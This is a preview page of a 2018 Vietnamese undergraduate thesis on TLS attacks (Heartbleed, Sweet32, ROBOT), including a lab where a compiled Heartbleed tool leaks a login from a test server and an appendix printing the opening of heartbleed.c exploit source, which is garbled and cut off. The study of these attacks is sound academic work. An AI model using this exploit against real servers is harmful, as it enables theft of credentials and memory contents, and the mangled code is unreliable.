Nghiên cứu các tấn công mới lên giao thức TLS

105 260 1
Nghiên cứu các tấn công mới lên giao thức TLS

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

Trình bày chi tiết đầy đủ hoạt động giao thức TLS v2: Cách thức bắt tay, trao đổi thuật toán... Trình bày các nguy cơ mất an toàn khi cài đặt giao thức TLS. Cơ sở lý thuyết tấn công Sweet32, Tấn công Heartbleed, tấn công Robot.. Cài đặt tấn công Heartbleed lên máy chủ Web Linux Centos.

BỘ THƠNG TIN VÀ TRUYỀN THƠNG HỌC VIỆN BƯU CHÍNH VIỄN THÔNG ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ ĐỒ ÁN TỐT NGHIỆP NGHIÊN CỨU MỘT SỐ TẤN CƠNG MỚI LÊN GIAO THỨC TLS Ngành: Cơng nghệ thông tin Sinh viên thực hiện: Trần Văn Tân Lớp: K45 Hà Nội, 2018 MỤC LỤC MỤC LỤC i DANH MỤC HÌNH VẼ iv DANH MỤC BẢNG BIỂU vi DANH MỤC CÁC THUẬT NGỮ VIẾT TẮT LỜI NÓI ĐẦU vii viii 1.1 Giới thiệu giao thức TLS 1.1.1 Giao thức TLS 1.1.2 Lịch sử phát triển giao thức TLS 1.1.3 Ứng dụng giao thức TLS .5 1.2 Mô tả giao thức TLS 1.2.1 Cấu trúc giao thức TLS 1.2.2 Giao thức ghi 10 1.2.3 Giao thức bắt tay .15 1.3 Cách thức hoạt động thuật toán giao thức TLS 28 1.3.1 Cách thức hoạt động giao thức TLS 28 1.3.2 Các thuật toán dùng giao thức TLS 30 CHƯƠNG 2: NGHIÊN CỨU PHƯƠNG PHÁP TẤN CƠNG LÊN GIAO THỨC TLS VÀ PHƯƠNG PHÁP PHỊNG CHỐNG 31 2.1 Giới thiệu tổng quan phương pháp công lên giao thức TLS 31 2.2 Phân loại công 33 2.2.1 Tấn công vào giao thức bắt tay 33 2.2.2 Tấn công vào giao thức ghi 33 i 2.2.3 Tấn công vào PKI .33 2.2.4 Các công khác 34 2.3 Tấn công HeartBleed .39 2.3.1 Tấn công OpenSSL dựa lỗ hổng Heartbleed 39 2.3.2 Quá trình phát 39 2.3.3 Phương pháp công khai thác lỗ hổng .40 2.5.4 Giải pháp khắc phục ngăn chặn công 47 2.4 Tấn công Sweet32 48 2.4.1 Tấn công nghịch lý ngày sinh nhật chế độ mã hóa CBC 49 2.4.2 Cơ chế công Sweet32 50 2.4.3 Điều kiện để thực công Sweet32 53 2.4.4 Các phòng chống cơng 53 2.5 Tấn công ROBOT 54 2.5.1 Định dạng PKCS #1 55 2.5.2 Tấn công chọn mã RSA định dạng PKCS#1 .56 2.5.3 Tấn công ROBOT 59 2.5.4 Giải pháp khắc phục ngăn chặn công 62 CHƯƠNG 3: CÀI ĐẶT VÀ THỰC HIỆN GIAO THỨC TLS BẢO VỆ TRUYỀN THƠNG TRÊN MÁY CHỦ WEB 65 3.1 Mơ hình cài đặt 65 3.2 Cài đặt máy chủ .66 3.2.1 Cấu hình mạng 66 3.2.2 Cấu hình dịch vụ DNS .67 3.2.3 Cấu hình website chứa lỗ hỗng HearBleed .68 3.2.4 Cài đặt sở liệu cho website www.tankma.vn 74 3.3 Cấu hình máy trạm 78 3.3.1 Cấu hình mạng 78 ii 3.3.2 Truy cập website www.tankma.vn 78 3.4 Tấn công khai thác lỗ hổng HeartBleed 79 3.4.1 Cấu hình mạng máy thực công .79 3.4.2 Tấn công khai thác lỗ hổng HeartBleed 80 PHỤ LỤC 82 KẾT LUẬN 93 TÀI LIỆU THAM KHẢO 94 iii DANH MỤC HÌNH VẼ Hình 1.1 Vị trí hoạt động SSL/TLS mơ hình OSI TCP/IP Hình 1.2 Lịch sử phát triển giao thức SSL/TLS Hình 1.3 Cấu trúc giao thức SSL/TLS .7 Hình 1.4 Cấu trúc ghi .10 Hình 1.5 Quá trình chia nhỏ đóng gói liệu 11 Hình 1.6 Giai đoạn bắt tay TLS 1.0 16 Hình 1.7 Trao đổi khóa được xác thực dựa hệ mật RSA TLS 1.0 19 Hình 1.8 Trao đổi khóa được xác thực dựa DH TLS 1.0 .21 Hình 1.9 Trao đổi khóa được xác thực dựa DH động TLS 1.0 22 Hình 1.10 Giai đoạn bắt tay nhanh TLS 1.0 .23 Hình 1.12 Hàm mở rộng .26 Hình 1.13 Quá trình sinh khóa TLS 1.0 28 Hình 1.14 Cách thức hoạt động giao thức TLS .29 Hình 2.1: Mô tả lịch sử công lên giao thức SSL/TLS 32 Hình 2.2 Mơ tả tất công lên vào giao thức bắt tay 35 Hình 2.3: Mơ tả tất công lên giao thức ghi 36 Hình 2.4 Mơ tả tất công vào PKI 37 Hình 2.5 Mơ tả tất công khác .38 Hình 2.6 Heartbeat request (dạng bình thường) 40 Hình 2.7 Tấn cơng Heartbleed .46 Hình 2.8 Xác suất ngày sinh nhật với N tương ứng 49 Hình 2.9 Tấn công Sweet32 50 Hình 2.10 Chế độ mã hóa CBC .52 Hình 2.11 Định dạng PKCS#1 55 Hình 2.12 Quá trình bắt tay TLS áp dụng RSA PKCS#1 v1.5 60 Hình 3.1 Mơ hình cài đặt thực cơng Heartbleed .65 Hình 3.2 Kiểm tra dịch vụ DNS 68 Hình 3.3 Kiểm tra gói cài đặt openssl mod_ssl 69 iv Hình 3.4 Tạo khóa cơng khai cho máy chủ web 70 Hình 3.5 Tạo chứng số tự ký 70 Hình 3.6 Tạo chứng số được ký CA hạ tầng khóa cơng khai X509 71 Hình 3.7 Chỉnh sửa tập tin /etc/httpd/conf/httpd.conf 71 Hình 3.8 Giao diện trang web: https://tankma.vn 72 Hình 3.9 Tham số an tồn bảo vệ www.tankma.vn .73 Hình 3.10 Chứng số máy chủ web www.tankma.vn 74 Hình 3.11 Cài đặt PhpMyAdmin thành cơng 75 Hình 3.12 Thêm người dùng vào sở liệu 76 Hình 3.13 Thiết lập cấu hình mạng máy trạm .78 Hình 3.14 Đăng nhập máy chủ web thành cơng 79 Hình 3.15 Thiết lập cấu hình mạng máy thực cơng 80 Hình 3.16 Tấn cơng khai thác lỗ hổng Heartbleed máy chủ web 81 v Bảng 1 Bảng Bảng Bảng Bảng 2 DANH MỤC BẢNG BIỂU Sự khác biệt phiên, kết nối kênh TLS Mô tả tham số an toàn (SecurityParameters) 14 Nội dung thông điệp giao thức bắt tay .17 Mã khối sử dụng giao thức bảo mật 48 Bản vá lỗi nhà cung cấp phần cứng phần mềm bảo mật 63 vi DANH MỤC CÁC THUẬT NGỮ VIẾT TẮT Từ viết tắt AES API CA CCA CSR DES DH DoS DSA DSS DTLS FIPS Tiếng Anh Tiếng Việt Advanced Encryption Standard Application Programming Interface Certificate Authority Chosen Ciphertext Attack Certificate Signing Request Data Encryption Standard Diffle Hellman Key Exchange Denial of Service Digital Signature Algorithm Digital Signature Standard Datagram Transport Layer Security A Federal Information Processing IV MAC MitM NIST Initialization Vector Message Atuthentication Code Man-in-the-middle National Institure of Standard and Technology OAEP Optimal Asymmetric Encryption Padding OpenSSL The Ope Source tookit for SSL/TLS OS Operating System PKCS Public Key Cryptography Standards PKI Public Key Infrastructure SHA Secure Hash Algorithm vii Tiêu chuẩn mã hóa tiên tiến Giao diện lập trình ứng dụng Trung tâm chứng thực Tấn cơng lựa chọn mã Yêu cầu ký chứng Tiêu chuẩn mã hóa liệu Trao đổi khóa Diffle Hellman Tấn cơng từ chối dịch vụ Thuật tốn chữ ký số Tiêu chuẩn chữ ký số Bảo mật liệu tầng giao vận Tiêu chuẩn xử lý thông tin liên bang Hoa Ky Véc tơ khởi tạo Mã xác thực thông báo Tấn công xen Viện tiêu chuẩn công nghệ Quốc gia Hoa ky Chèn phần đệm mã hóa bất đối xứng tối ưu Phần mềm mã nguồn mở Hệ điều hành Chuẩn mật mã khóa cơng khai Hạ tầng khóa cơng khai Thuật tốn băm an tồn UNIX VPN UNIX operating system Virtual Private Network Hệ điều hành UNIX Mạng riêng ảo LỜI NÓI ĐẦU Ngày nay, Internet phổ biến rộng rãi, tổ chức, cá nhân có nhu cầu giới thiệu thơng tin mạng xã hội thực phiên giao dịch trực tuyến Vấn đề nảy sinh phạm vi ứng dụng ứng dụng Web ngày mở rộng khả xuất lỗi bị công cao, trở thành đối tượng cho nhiều người cơng với mục đích khác Transport Layer Security (TLS) giao thức bật để cung cấp dịch vụ bảo mật cho lưu lượng liệu kênh truyền giao thức bảo mật phổ biến Internet đặc biệt hoạt động thương mại điện tử (E-Commeree) Mức độ phổ biến tính ngày có hàng tỉ giao dịch mạng sử dụng giao thức TLS Trong năm gần việc triển khai TLS nhận ý đáng kể giám sát từ chuyên gia bảo mật, điều dẫn đến phát hàng loạt lỗ hổng Các nguy an tồn thơng tin giao thức TLS điều đáng lo ngại Xuất phát từ lý trên, em chọn đề tài “Nghiên cứu số phương pháp công lên giao thức TLS” ThS Trịnh Hà Chương hướng dẫn Nội dung đồ án gồm có chương: Chương 1: Tổng quan giao thức TLS: Chương tập trung nghiên cứu vấn đề tổng quan giao thức TLS, mô tả cấu trúc hoạt động giao thức TLS Chương 2: Nghiên cứu phương pháp công lên giao thức TLS phương pháp phòng chống: Chương giới thiệu phương pháp cơng điển hình lên giao thức SSL/TLS, sâu vào nghiên cứu hai phương pháp công công ROBOT Sweet32 viii Chương 3: Cài đặt thực giao thức TLS bảo vệ truyền thông máy chủ Web thực nghiệm cơng: Chương trình bày vấn đề cài đặt thực cơng Mặc dù có nhiều cố gắng suốt trình nghiên cứu, song thời gian kiến thức có hạn nên đồ án em chưa sâu nghiên cứu đầy đủ tất chế công lên giao thức SSL/TLS khơng thể tránh khỏi thiếu sót Em mong nhận ý kiến đóng góp bảo thầy cô giáo bạn quan tâm đến đề tài Em xin bày tỏ lòng biết ơn chân thành đến giáo viên hướng dẫn: ThS Trịnh Hà Chương, thầy cô bạn bè, tận tình giúp đỡ em hồn thành đồ án Hà nội, ngày 25 tháng 05 năm 2018 Sinh viên thực Trần Văn Tân ix Hình 3.15 Thiết lập cấu hình mạng máy thực cơng 3.4.2 Tấn công khai thác lỗ hổng HeartBleed Đầu tiên đối phương truy cập vào máy chủ web: https://tankma.vn, khơng có tài khoản nên đối phương khơng tiến hành đăng nhập Đối phương dùng công cụ Wireshark nghe lưu lượng vào máy chủ đối phương bắt thông tin phiên liên lạc từ mày trạm (192.168.2.30) tới máy chủ web (192.168.2.100) Nhưng đối phương đọc liệu phiên liên lạc liệu mã hóa Đối phương dùng cơng cụ OpenSSLHeartbleedExploit.exe để cơng máy chủ web (hình 3.18) Cơng cụ OpenSSLHeartbleedExploit.exe biên dịch từ 81 trình biên dịch gcc Linux với mã nguồn tập tin heartbleed.c (xem nội dung phụ lục ) Trên hình 3.16 cho thấy đối phương tìm tài khoản ‘tantr’ mật ‘123456’ Như vậy, đối phương khai thác thành công lỗ hổng Heartbleed máy chủ web Hình 3.16 Tấn cơng khai thác lỗ hổng Heartbleed máy chủ web 82 PHỤ LỤC Mã nguồn tập tin heartbleed.c #include #include #include #include #include #include #include #include #include #include #include #include #include #define n2s(c,s)((s=(((unsigned int)(c[0]))> 8)&0xff), \ c[1]=(unsigned char)(((s) int first = 0; int leakbytes = 0; 83 )&0xff)),c+=2) int repeat = 1; int badpackets = 0; typedef struct { unsigned char type; short version; unsigned int length; unsigned char hbtype; unsigned int payload_length; void* payload; } heartbeat; void ssl_init(); void usage(); int tcp_connect(char*,int); int tcp_bind(char*, int); connection* tls_connect(int); connection* tls_bind(int); int pre_cmd(int,int,int); void* heartbleed(connection* ,unsigned int); void* sneakyleaky(connection* ,char*, int) //Ket noi Heartbleed void* heartbleed(connection *c,unsigned int type){ 84 unsigned char *buf, *p; int ret; buf = OPENSSL_malloc(1 + 2); if(buf==NULL){ printf("[ error in malloc()\n"); exit(0); } p = buf; *p++ = TLS1_HB_REQUEST; switch(type){ case 0: s2n(0x0,p); break; case 1: s2n(0xffff,p); break; default: printf("[ setting heartbeat payload_length to %u\n",type); s2n(type,p); break; } printf("[

Ngày đăng: 10/03/2020, 14:46

Từ khóa liên quan

Mục lục

  • MỤC LỤC

  • DANH MỤC HÌNH VẼ

  • DANH MỤC BẢNG BIỂU

  • DANH MỤC CÁC THUẬT NGỮ VIẾT TẮT

  • LỜI NÓI ĐẦU

    • 1.1. Giới thiệu giao thức TLS

      • 1.1.1. Giao thức TLS

      • 1.1.2. Lịch sử phát triển của giao thức TLS

      • 1.1.3. Ứng dụng của giao thức TLS

      • 1.2. Mô tả giao thức TLS

        • 1.2.1. Cấu trúc của giao thức TLS

        • 1.2.2. Giao thức bản ghi

        • 1.2.3. Giao thức bắt tay

        • 1.3. Cách thức hoạt động và thuật toán trong giao thức TLS

          • 1.3.1. Cách thức hoạt động của giao thức TLS

          • 1.3.2. Các thuật toán dùng trong giao thức TLS

          • CHƯƠNG 2: NGHIÊN CỨU PHƯƠNG PHÁP TẤN CÔNG LÊN GIAO THỨC TLS VÀ PHƯƠNG PHÁP PHÒNG CHỐNG

            • 2.1. Giới thiệu tổng quan về phương pháp tấn công lên giao thức TLS

            • 2.2. Phân loại tấn công

              • 2.2.1 Tấn công vào giao thức bắt tay

              • 2.2.2 Tấn công vào giao thức bản ghi

              • 2.2.3 Tấn công vào PKI

              • 2.2.4 Các cuộc tấn công khác

              • 2.3. Tấn công HeartBleed

                • 2.3.1. Tấn công OpenSSL dựa trên lỗ hổng Heartbleed

                • 2.3.2. Quá trình phát hiện

                • 2.3.3. Phương pháp tấn công và khai thác lỗ hổng

                  • Phương thức hoạt động của tính năng Heartbeat trên TLS

Tài liệu cùng người dùng

Tài liệu liên quan